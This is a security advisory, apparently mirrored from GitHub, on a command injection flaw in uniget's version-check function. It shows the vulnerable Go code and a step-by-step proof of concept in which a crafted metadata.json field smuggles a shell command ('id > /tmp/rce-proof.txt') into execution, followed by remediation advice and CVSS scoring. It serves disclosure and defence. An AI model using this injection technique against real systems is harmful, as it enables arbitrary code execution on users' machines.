uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

Description

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

```go id="f2g0ic"
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
version, err := cmd.Output()
return string(version), nil
}


The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.

Related structure:

```go id="7f4yzm"
type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 — Verify the vulnerable binary:

```bash id="7k3d07"
/tmp/uniget-bin --version


Output:

```text id="p2gk9z"
uniget version main

Step 2 — Create malicious metadata cache:

```bash id="j5zpr0"
mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
"tools": [
{
"name": "evil-tool",
"version": "1.0.0",
"binary": "${target}/bin/evil-tool",
"check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
"tags": ["test"],
"description": "RCE test",
"repository": "https://example.com",
"license": {
"name": "MIT",
"link": "https://example.com"
},
"sources": [
{
"registry": "ghcr.io",
"repository": "uniget-org/tools"
}
]
}
]
}
EOF


Step 3 — Create placeholder binary:

```bash id=&quot;53ml7u&quot;
mkdir -p ~/.local/usr/local/bin

cat &gt; ~/.local/usr/local/bin/evil-tool &lt;&lt; &#x27;EOF&#x27;
#!/bin/bash
echo &quot;placeholder&quot;
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4 — Trigger the vulnerable workflow:

```bash id="w4j7h4"
/tmp/uniget-bin describe evil-tool --prefix ~/.local


Application output:

```text id=&quot;q0k54m&quot;
Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: &lt;echo &#x27;1.0.0&#x27;; id &gt; /tmp/rce-proof.txt&gt;

Step 5 — Verify arbitrary command execution:

```bash id="w7r8z3"
ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt


Actual output:

```bash id=&quot;6plm7v&quot;
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

<img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" />

<img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" />

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Impact

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

  • Execute arbitrary shell commands
  • Exfiltrate sensitive files or environment variables
  • Install malware or backdoors
  • Modify or delete accessible files
  • Establish persistence on the victim machine
  • Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

```go id="ntxjlwm"
exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")


consider executing fixed binaries and arguments directly without invoking a shell.

For example:

```go id=&quot;ngbkk2&quot;
exec.Command(binary, &quot;--version&quot;)

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-13 15:33:10 UTC
Updated
2026-06-08 23:55:03 UTC
GitHub reviewed
2026-05-13 15:33:10 UTC
NVD published
2026-05-27

EPSS Score

Score Percentile
0.04% 11.59%

CVSS Scores

Base score Version Severity Vector
7.8 3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:L)
They already need access on the box, or another person has to do something wrong; it’s not a remote drive-by.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Credits

  • 0x5t4l1n (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go gitlab.com/uniget-org/cli < 0.27.1 0.27.1

References

cvelogic Threat Intelligence